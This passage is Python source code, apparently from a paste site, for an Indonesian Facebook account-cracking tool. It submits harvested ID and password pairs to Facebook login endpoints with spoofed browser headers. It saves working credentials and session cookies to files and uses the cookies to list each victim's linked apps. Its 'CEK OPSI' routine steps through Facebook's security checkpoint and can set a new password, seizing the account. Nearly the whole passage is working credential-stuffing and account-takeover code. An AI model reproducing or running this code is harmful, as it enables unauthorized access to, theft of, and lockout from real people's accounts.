  866.             headers = {'Host': 'm.facebook.com','x-fb-rlafr': '0','access-control-allow-origin': '*','facebook-api-version': 'v12.0','strict-transport-security': 'max-age=15552000; preload','pragma': 'no-cache','cache-control': 'private, no-cache, no-store, must-revalidate','x-fb-request-id': 'A3PUDZnzy2xgkMAkH9bcVof','x-fb-trace-id': 'Cx4jrkJJire','x-fb-rev': '1007127514','x-fb-debug': 'AXRLN2ab6tbNBxFWS6kiERe8mEyeHkpYgc1xM77joSCak8hY1B2+tWfeptUXVmRpMqno2j95r13+cw0bLoOi4A==','content-length': '2141','cache-control': 'max-age=0','sec-ch-ua': '"Chromium";v="107", "Not=A?Brand";v="24"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','save-data': 'on','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'navigate','sec-fetch-user': '?1','sec-fetch-dest': 'document','referer': 'https://m.facebook.com/login.php?skip_api_login=1&api_key=345000986033587&kid_directed_site=0&app_id=345000986033587&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv12.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D345000986033587%26cbt%3D1679190355185%26e2e%3D%257B%2522init%2522%253A1679190355186%257D%26ies%3D0%26sdk%3Dandroid-12.2.0%26sso%3Dchrome_custom_tab%26nonce%3D36eab410-3bf2-4a18-92b6-8899482bce03%26scope%3Dopenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfb345000986033587%253A%252F%252Fauthorize%252F%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D8fabc5ff-90e2-4258-a451-a1f4a796c348%26tp%3Dunspecified&cancel_url=fb345000986033587%3A%2F%2Fauthorize%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%25228fabc5ff-90e2-4258-a451-a1f4a796c348%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%25229v54bbhoj58tns0r4tjn%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate','accept-language': 'id-ID,id;q=0.9,en-GB;q=0.8,en;q=0.7,en-US;q=0.6'}
  867.             link = random.choice(["https://m.facebook.com/login/device-based/regular/login/?api_key=140810032656374&auth_token=63ed3e768f0e783f4cc81a6b1026c500&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fclient_id%3D140810032656374%26redirect_uri%3Dhttps%253A%252F%252Faccounts.pixiv.net%252Fpigya%252Fproxy%252Fcallback%252Ffacebook%26response_type%3Dcode%26scope%3Demail%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dd3e7e4df-8e7b-42c9-81a7-ee0e2abb19c9%26tp%3Dunspecified&refsrc=deprecated&app_id=140810032656374&cancel=https%3A%2F%2Faccounts.pixiv.net%2Fpigya%2Fproxy%2Fcallback%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DGeDYUodE_pVN5pDXKBbhaF12RvXSU-30ikz4dZVHI8w%23_%3D_&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=7ade521eceaab1458866d9821149d64f&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv2.9%2Fdialog%2Foauth%3Fapp_id%3D213560439114%26cbt%3D1677182177996%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df11da1fc663793c%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%26client_id%3D213560439114%26display%3Dtouch%26domain%3Dwww.starmakerstudios.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Flogin%252Fpage%253Freturn_url%253D%252Finstrumental%252Fupload%26locale%3Dzh_CN%26logger_id%3Df2bda15588a0498%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df1931b4149a3a44%2526domain%253Dwww.starmakerstudios.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.starmakerstudios.com%25252Ff1245028efb5658%2526relation%253Dopener%2526frame%253Df3f39a10ef963dc%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26scope%3Demail%26sdk%3Djoey%26version%3Dv2.9%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1931b4149a3a44%26domain%3Dwww.starmakerstudios.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.starmakerstudios.com%252Ff1245028efb5658%26relation%3Dopener%26frame%3Df3f39a10ef963dc%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&lwv=100&locale2=id_ID&refid=9","https://m.facebook.com/login/device-based/regular/login/?api_key=213560439114&auth_token=5f8c7178a13395b4cd272a3e1897de8b&skip_api_login=1&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fcct_prefetching%3D0%26client_id%3D213560439114%26cbt%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
  868.             po = ses.post(link,data=data,headers=headers,allow_redirects=False)
  869.             if "checkpoint" in po.cookies.get_dict().keys():
  870.                 print("")
  871.                 tree = Tree(f" ")
  872.                 tree.add(f"[CP] [bold yellow]{idf}|{pw} >> {cektahun(idf)} ")
  873.                 tree.add(f"[•] [bold white]UGEN : [bold blue]{ua}\n")
  874.                 cetak(tree)
  875.                 open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  876.                 akun.append(idf+'|'+pw)
  877.                 cp+=1
  878.                 break
  879.             elif "c_user" in ses.cookies.get_dict().keys():
  880.                 ok+=1
  881.                 coki=po.cookies.get_dict()
  882.                 kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  883.                 print('')
  884.                 tree = Tree(f"  ")
  885.                 tree.add(f"[OK] [bold green]{idf}|{pw} >> {cektahun(idf)} ")
  886.                 tree.add(f" [bold green]{kuki}\n")
  887.                 tree.add(f"[•] [bold white]UGEN : [bold purple]{ua}\n")
  888.                 cetak(tree)
  889.                 open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  890.                 cek_apk(kuki)
  891.                 break
  892.                
  893.             else:
  894.                 continue
  895.         except requests.exceptions.ConnectionError:
  896.             time.sleep(31)
  897.     loop+=1
  898.  
  899. def cek_apk(kuki):
  900.     session = requests.Session()
  901.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+kuki}).text
  902.     sop = bs4.BeautifulSoup(w,"html.parser")
  903.     x = sop.find("form",method="post")
  904.     game = [i.text for i in x.find_all("h3")]
  905.     try:
  906.         for i in range(len(game)):
  907.             print ("\r%s  \033[0m              ☕  %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  908.     except AttributeError:
  909.         print ("\r    %s\033[0m cookie invalid"%(M))
  910.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+kuki}).text
  911.     sop = bs4.BeautifulSoup(w,"html.parser")
  912.     x = sop.find("form",method="post")
  913.     game = [i.text for i in x.find_all("h3")]
  914.     try:
  915.         for i in range(len(game)):
  916.             print ("\r%s  \033[0m              🚬 %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  917.     except AttributeError:
  918.         print ("\r    %s \033[0mcookie invalid"%(M))
  919.        
  920. def cek_apk(coki):
  921.     session = requests.Session()
  922.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":"noscript=1;"+coki}).text
  923.     sop = bs4.BeautifulSoup(w,"html.parser")
  924.     x = sop.find("form",method="post")
  925.     game = [i.text for i in x.find_all("h3")]
  926.     try:
  927.         for i in range(len(game)):
  928.             print ("\r%s  \033[0m                🚬 %s%s"%(P,H,game[i].replace("Ditambahkan pada"," Ditambahkan pada")))
  929.     except AttributeError:
  930.         print ("\r    %s\033[0m cookie invalid"%(M))
  931.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":"noscript=1;"+coki}).text
  932.     sop = bs4.BeautifulSoup(w,"html.parser")
  933.     x = sop.find("form",method="post")
  934.     game = [i.text for i in x.find_all("h3")]
  935.     try:
  936.         for i in range(len(game)):
  937.             print ("\r%s  \033[0m                ☕ %s"%(P,game[i].replace("Kedaluwarsa"," Kedaluwarsa")))
  938.     except AttributeError:
  939.         print ("\r    %s \033[0mcookie invalid"%(M))
  940.  
  941. ###╭∩╮(︶.︶メ)[ CEK OPSI ](︶.︶メ)╭∩╮###
  942. import requests, shutil, os, re, bs4, sys, json, time, platform ,random, datetime, subprocess, logging, base64
  943. import hmac, hashlib, urllib, stdiomask, urllib.request, uuid
  944. from concurrent.futures import ThreadPoolExecutor
  945. from bs4 import BeautifulSoup as parser
  946. from threading import (Thread, Event)
  947. from time import sleep as jeda
  948. from datetime import datetime
  949.  
  950. ct = datetime.now()
  951. n = ct.month
  952. bulan_ = ['Januari', 'Februari', 'Maret', 'April', 'Mei', 'Juni', 'Juli', 'Agustus', 'September', 'Oktober', 'November', 'Desember']
  953. try:
  954.     if n < 0 or n > 12:
  955.         exit()
  956.     nTemp = n - 1
  957. except ValueError:
  958.     exit()
  959.  
  960. current = datetime.now()
  961. hari = current.day
  962. bulan = bulan_[nTemp]
  963. tahun = current.year
  964. bullan = current.month
  965.  
  966. waktu = ("%s-%s-%s"%(hari,bulan,tahun))
  967. bulan12 = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"}
  968.  
  969. M = '\x1b[1;91m' # MERAH
  970. H = '\x1b[1;92m' # HIJAU
  971. K = '\x1b[1;93m' # KUNING
  972. B = '\x1b[1;94m' # BIRU
  973. U = '\x1b[1;95m' # UNGU
  974. O = '\x1b[1;96m' # BIRU MUDA
  975. P = '\x1b[1;97m' # PUTIH
  976. J = '\033[38;2;255;127;0;1m' # ORANGE
  977. N = '\x1b[0m' # WARNA MATI
  978. acak = [M, H, K, B, U, O, P, J]
  979. warna = random.choice(acak)
  980. til ="\033[0m╰─ "
  981.  
  982. def jalan(keliling):
  983.     for mau in keliling + '\n':
  984.         sys.stdout.write(mau)
  985.         sys.stdout.flush();jeda(0.03)
  986.        
  987.        
  988. ubah_pass = []
  989. pwbaru = []
  990. pwBaru = []
  991. ubahP = []
  992.  
  993. def file_cp():
  994.     dirs = os.listdir('CP')
  995.     cetak(nel(f"[bold white]INGAT TIDAK SEMUA CP TAPYES YA, HANYA HOKI, STAY HALAL SEDIAKAN ROKOK DAN KOPI 🚬☕   ",width=70,title=f"[bold yellow]CEK TAPYES",style=f"bold blue"))  
  996.     print ("%s%s%s%s◕➤ \033[0m[!] Pilih Hasil Yg Tersimpan Di Cek Opsi [!]%s\n"%(U,til,O,U,O))
  997.     for file in dirs:
  998.         print("%s%s\033[0m%s"%(U,til,file));jeda(0.07)
  999.     try:
  1000.         print("\n%s%s%s◕➤ \033[0m Masukan file [ cth%s: %sCP-%s.txt%s ]"%(U,til,O,M,K,waktu,O))
  1001.         opsi()
  1002.     except IOError:
  1003.         print ('%s%s◕➤  \033[0mfile tidak ada'%(M,til))
  1004.         exit()
  1005.        
  1006. def opsi():
  1007.     CP = ("CP/")
  1008.     romi = input("%s%s%s◕➤  \033[0mNama file %s> %s"%(U,til,O,M,K))
  1009.     if romi == "":
  1010.         print("%s%s◕➤  \033[0misi yang benar "%(M,til));jeda(2)
  1011.         opsi()
  1012.     try:
  1013.         file_cp = open(CP+romi, "r").readlines()
  1014.     except IOError:
  1015.         exit("\n%s%s◕➤  \033[0mnama file %s\033[0m tidak tersedia"%(M,til,romi))
  1016.     jalan("%s%s%s◕➤ \033[0m Mode pesawatkan terlebih dahulu 5 detik "%(U,til,O))
  1017.     pw=input("\n%s%s%s◕➤ \033[0mubah sandi pada akun one tab? y/t %s> %s"%(U,til,O,M,K))
  1018.     if pw in['y','Y']:
  1019.         ubah_pass.append("ubah_sandi")
  1020.         pw2 = input("%s%s%s◕➤ \033[0mmasukan sandi %s> %s"%(U,til,O,M,K))
  1021.         if len(pw2) <= 5:
  1022.             print("%s%s sandi minimal 6 karakter "%(M,til))
  1023.         else:
  1024.             pwbaru.append(pw2)
  1025.     print("\n %s# %s====================== %s#"%(P,M,P));jeda(2)
  1026.     print ("%s%s%s\033[0m total akun %s: %s%s "%(U,til,O,M,K,str(len(file_cp))))
  1027.     print(" %s# %s====================== %s#"%(P,M,P));jeda(2)
  1028.     nomor = 0
  1029.     for fb in file_cp:
  1030.         akun = fb.replace("\n","")
  1031.         ngecek  = akun.split("|")
  1032.         nomor+=1
  1033.         print("\n%s%s.%s \033[0mlogin akun %s> %s%s"%(H,str(nomor),O,M,K,akun.replace(" *--> ","")));jeda(0.07)
  1034.         try:
  1035.             mengecek(ngecek[0].replace("",""), ngecek[1])
  1036.         except requests.exceptions.ConnectionError:
  1037.             continue
  1038.     print("\n%s%s%s \033[0mSelesai mengecek akun"%(U,til,O));jeda(0.07)
  1039.     input('%s%s%s [%s Enter%s ] '%(U,til,O,U,O))
  1040.     back()
  1041.    
  1042. data = {}
  1043. data2 = {}
  1044.  
  1045. def mengecek(user,pw):
  1046.     global loop,ubah_pass,pwbaru
  1047.     session=requests.Session()
  1048.     ua = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]'
  1049.     url = "https://mbasic.facebook.com"
  1050.     session.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
  1051.     soup=bs4.BeautifulSoup(session.get(url+"/login/?next&ref=dbl&fl&refid=8").text,"html.parser")
  1052.     link=soup.find("form",{"method":"post"})
  1053.     for x in soup("input"):
  1054.         data.update({x.get("name"):x.get("value")})
  1055.     data.update({"email":user,"pass":pw})
  1056.     urlPost=session.post(url+link.get("action"),data=data)
  1057.     response=bs4.BeautifulSoup(urlPost.text, "html.parser")
  1058.     if "c_user" in session.cookies.get_dict():
  1059.         if "Akun Anda Dikunci" in urlPost.text:
  1060.             print("\r%s%s\033[0m akun terkunci sesi new"%(M,til))
  1061.         else:
  1062.             print("\r%s%s\033[0m akun tidak checkpoint, silahkan anda login "%(til,H))
  1063.             open('OK/OK-%s.txt'%(waktu), 'a').write(" %s|%s\n" % (user,pw))
  1064.     elif "checkpoint" in session.cookies.get_dict():
  1065.         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1066.         title=re.findall("\<title>(.*?)<\/title>",str(response))
  1067.         link2=response.find("form",{"method":"post"})
  1068.         listInput=['fb_dtsg','jazoest','checkpoint_data','submit[Continue]','nh']
  1069.         for x in response("input"):
  1070.             if x.get("name") in listInput:
  1071.                 data2.update({x.get("name"):x.get("value")})
  1072.         an=session.post(url+link2.get("action"),data=data2)
  1073.         response2=bs4.BeautifulSoup(an.text,"html.parser")
  1074.         cek=[cek.text for cek in response2.find_all("option")]
  1075.         number=0
  1076.         print("\r%s╰─%s \033[0mterdapat %s%s%s \033[0mopsi %s:"%(U,O,P,str(len(cek)),O,M));jeda(0.07)
  1077.         if(len(cek)==0):
  1078.             if "Lihat detail login yang ditampilkan. Ini Anda?" in title:
  1079.                 if "ubah_sandi" in ubah_pass:
  1080.                     dat,dat2={},{}
  1081.                     but=["submit[Yes]","nh","fb_dtsg","jazoest","checkpoint_data"]
  1082.                     for x in response("input"):
  1083.                         if x.get("name") in but:
  1084.                             dat.update({x.get("name"):x.get("value")})
  1085.                     ubahPw=session.post(url+link2.get("action"),data=dat).text
  1086.                     resUbah=bs4.BeautifulSoup(ubahPw,"html.parser")
  1087.                     link3=resUbah.find("form",{"method":"post"})
  1088.                     but2=["submit[Next]","nh","fb_dtsg","jazoest"]
  1089.                     if "Buat Kata Sandi Baru" in re.findall("\<title>(.*?)<\/title>",str(ubahPw)):
  1090.                         for b in resUbah("input"):
  1091.                             dat2.update({b.get("name"):b.get("value")})
  1092.                         dat2.update({"password_new":"".join(pwbaru)})
  1093.                         an=session.post(url+link3.get("action"),data=dat2)
  1094.                         coki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
  1095.                         print("\r%s%s\033[0makun one tab, sandi berhasil di ubah \n╰─ OK %s%s%s|%s|%s           "%(H,til,N,H,user,pwbaru[0],coki))
  1096.                         open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s|%s\n" % (H,user,pwbaru[0],coki))
  1097.                         #cek_apk(coki)
  1098.                 else:
  1099.                     print("\r%s%s \033[0makun one tab, silahkan anda login      "%(H,til))
  1100.                     open('OK/OK-%s.txt' %(waktu), 'a').write("%s %s|%s|%s\n" % (H,user,pw,coki))
  1101.                     #cek_apk(coki)
  1102.             elif "Masukkan Kode Masuk untuk Melanjutkan" in re.findall("\<title>(.*?)<\/title>",str(response)):
  1103.                 print("\r%s╰─\033[0m akun terpasang autentikasi dua faktor          "%(M))
  1104.             else:
  1105.                 print("%s%s\033[0mterjadi kesalahan"%(M,til))
  1106.         else:
  1107.             if "c_user" in session.cookies.get_dict():
  1108.                 print("\r%s%s akun tidak checkpoint, silahkan anda login "%(H))
  1109.                 open('OK/OK-%s.txt' %(waktu), 'a').write("%s%s|%s\n" % (H,user,pw))
  1110.         for opsi in range(len(cek)):
  1111.             number +=1
  1112.             jalan ("  %s%s. %s%s"%(P,str(number),K,cek[opsi]))
  1113.     elif "login_error" in str(response):
  1114.         oh = run.find("div",{"id":"login_error"}).find("div").text
  1115.         print("%s╰─ %s"%(M,oh))
  1116.     else:
  1117.         print("%s╰─ \033[0mlogin gagal, silahkan cek kembali id dan kata sandi"%(M))
  1118.            
  1119. #-----------------------[ SYSTEM-CONTROL ]--------------------#
  1120. if __name__=='__main__':
  1121.     try:os.system('git pull')
  1122.     except:pass
  1123.     try:os.mkdir('OK')
  1124.     except:pass
  1125.     try:os.mkdir('CP')
  1126.     except:pass
  1127.     try:os.mkdir('/sdcard/Dhanz-DUMP')
  1128.     except:pass
  1129.     try:os.system('touch .prox.txt')
  1130.     except:pass
  1131.     login()
Add Comment
Please, Sign In to add comment